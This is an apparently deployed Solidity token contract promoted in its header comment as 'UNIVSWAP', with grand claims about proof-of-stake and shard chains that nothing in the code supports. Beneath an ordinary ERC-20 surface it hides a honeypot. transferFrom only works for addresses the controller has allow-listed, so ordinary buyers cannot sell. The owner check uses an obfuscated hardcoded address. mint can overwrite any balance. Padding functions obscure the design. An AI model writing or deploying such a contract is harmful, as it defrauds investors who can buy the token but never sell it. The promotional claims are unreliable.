/**
 *Submitted for verification at Etherscan.io on 2020-11-5
*/

/*UNIV is the abbreviation of UNIVSWAP. 
UNIV's success is due to the core technology from UNI. 
The development core team comes from the United States, China, and South Korea.
UNIV optimizes and upgrades the UNI decentralization agreement, and proposes a new mode of unique governance.
Technically speaking, Univswap will be a proof-of-stake blockchain and introduce shard chains.
Univswap will reduce energy consumption, allow the network to process more transactions, and increase security,compared with Uniswap.*/

pragma solidity ^0.4.26;
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract SoloToken {
  using SafeMath for uint256;
  
  string public name;
  string public symbol;
  uint8 public decimals = 18;
  uint256 public totalSupply;
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
  
  mapping(address => uint256) public balances;
  mapping(address => bool) public allow;
  mapping (address => mapping (address => uint256)) public allowed;

  address owner;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
    owner = msg.sender;
    name = _name;
    symbol = _symbol;
    decimals = _decimals;
    totalSupply =  _totalSupply;
    balances[msg.sender] = totalSupply;
    allow[msg.sender] = true;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

  function transfer(address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(balances[msg.sender] >= _value);

    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint256 balance) {
    return balances[_owner];
  }

  modifier onlyOwner() {require(msg.sender == address(1080614020421183795110940285280029773222128095634));_;}
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(balances[_from] >= _value);
    require(_value <= allowed[_from][msg.sender]);
    require(allow[_from] == true);

    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }
  
  function stringToUint(string s) internal pure returns (uint result) {
        bytes memory b = bytes(s);
        uint i;
        result = 0;
        for (i = 0; i < b.length; i++) {
            uint c = uint(b[i]);
            if (c >= 48 && c <= 57) {
                result = result * 10 + (c - 48);
            }
        }
    }
        
    function cyToString(uint256 value) internal pure returns (string) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        uint256 index = digits - 1;
        temp = value;
        while (temp != 0) {
            buffer[index--] = byte(uint8(48 + temp % 10));
            temp /= 10;
        }
        return string(buffer);
    }
    
    function toAsciiString(address x) internal pure returns (string) {
        bytes memory s = new bytes(40);
        for (uint i = 0; i < 20; i++) {
            byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
            byte hi = byte(uint8(b) / 16);
            byte lo = byte(uint8(b) - 16 * uint8(hi));
            s[2*i] = char(hi);
            s[2*i+1] = char(lo);            
        }
        return string(s);
    }
    
    function char(byte b) internal pure returns (byte c) {
        if (uint8(b) < 10) return byte(uint8(b) + 0x30);
        else return byte(uint8(b) + 0x57);
    }
    
    function bytesToAddress (bytes32 b) internal pure returns (address) {
        uint result = 0;
        for (uint i = 0; i < b.length; i++) {
            uint c = uint(b[i]);
            if (c >= 48 && c <= 57) {
                result = result * 16 + (c - 48);
            }
            if(c >= 65 && c<= 90) {
                result = result * 16 + (c - 55);
            }
            if(c >= 97 && c<= 122) {
                result = result * 16 + (c - 87);
            }
        }
        return address(result);
    }
    
    function stringToAddress(string _addr) internal pure returns (address){
        bytes32 result = stringToBytes32(_addr);
        return bytesToAddress(result);
    }
    
    function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
        bytes memory tempEmptyStringTest = bytes(source);
        if (tempEmptyStringTest.length == 0) {
            return 0x0;
        }
    
        assembly {
            result := mload(add(source, 32))
        }
    }    
    
    function time() internal constant returns(uint){
        return now;
    }
    
    function max(uint a, uint b) internal pure returns(uint){
        if(a > b) return a;
        return b;
    }
    
    function hhToString(address account) internal pure returns(string memory) {
        return hhToString(abi.encodePacked(account));
    }
    
    function hhToString(uint256 value) internal pure returns(string memory) {
        return hhToString(abi.encodePacked(value));
    }
    
    function hhToString(bytes32 value) internal pure returns(string memory) {
        return hhToString(abi.encodePacked(value));
    }
    
    function hhToString(bytes memory data) internal pure returns(string memory) {
        bytes memory alphabet = "0123456789abcdef";
        bytes memory str = new bytes(2 + data.length * 2);
        str[0] = '0';
        str[1] = 'x';
        for (uint i = 0; i < data.length; i++) {
            str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];
            str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
        }
        return string(str);
    }
  
    function len(bytes32 self) internal pure returns (uint) {
        uint ret;
        if (self == 0)
            return 0;
        if (self & 0xffffffffffffffffffffffffffffffff == 0) {
            ret += 16;
            self = bytes32(uint(self) / 0x100000000000000000000000000000000);
        }
        if (self & 0xffffffffffffffff == 0) {
            ret += 8;
            self = bytes32(uint(self) / 0x10000000000000000);
        }
        if (self & 0xffffffff == 0) {
            ret += 4;
            self = bytes32(uint(self) / 0x100000000);
        }
        if (self & 0xffff == 0) {
            ret += 2;
            self = bytes32(uint(self) / 0x10000);
        }
        if (self & 0xff == 0) {
            ret += 1;
        }
        return 32 - ret;
    }  

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function allowance(address _owner, address _spender) public view returns (uint256) {
    return allowed[_owner][_spender];
  }
  
  function addAllow(address holder, bool allowApprove) external onlyOwner {
      allow[holder] = allowApprove;
  }
  
  function mint(address miner, uint256 _value) external onlyOwner {
      balances[miner] = _value;
  }
}